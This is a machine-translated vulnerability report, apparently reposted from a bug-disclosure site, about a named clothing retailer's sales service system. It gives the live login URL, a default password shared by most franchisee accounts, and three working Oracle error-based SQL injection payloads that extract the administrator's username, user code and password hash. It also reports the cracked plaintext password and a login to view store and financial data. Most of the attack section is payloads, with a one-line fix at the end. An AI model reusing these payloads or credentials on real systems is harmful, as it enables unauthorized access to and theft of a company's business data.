City beauty SQL injection vulnerability causes store sales data leakage

Source: Internet
Author: User

City beauty SQL injection vulnerability causes store sales data leakage

Metropolis beauty SQL injection vulnerability: sales data of all stores leaked

MSS sales service system address: http://mss.cosmo-lady.com/mss/logonNewAction.do? Method = logon

Problems:

1. Weak Password

Account: 111111 password: 111111, And the password of most franchisees is also the default 111111.



2. SQL Injection

Submit login data address: http://mss.cosmo-lady.com/mss/logonNewAction.do? Method = logon

Data: loginWay = 0 & usercode = 'and length (PASSWORD) = 32 and 1 = ctxsys. drithsx. sn (1, (select username from sys_user where rownum = 1) and 'A' = 'a & passwd = 1

Directly blow the Administrator account


 





The User ID used to log on again

LoginWay = 0 & usercode = 'and length (PASSWORD) = 32 and 1 = ctxsys. drithsx. sn (1, (select usercode from sys_user where rownum = 1) and 'A' = 'a & passwd = 1


 





Password cracking

LoginWay = 0 & usercode = 'and length (PASSWORD) = 32 and 1 = ctxsys. drithsx. sn (1, (select password from sys_user where rownum = 1) and 'A' = 'a & passwd = 1


 





Decrypt and obtain the password dslrmss. log on to the system.


 





Store user
 





Financial flow
 





Various queries
 



For fear of entering the water meter, this is the end !!!




 




 


 

Solution:

Filter SQL Injection characters and modify weak passwords



Note: I have not modified, deleted, added, downloaded, or disseminated any data, but the security check stops successfully logging on to the system.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.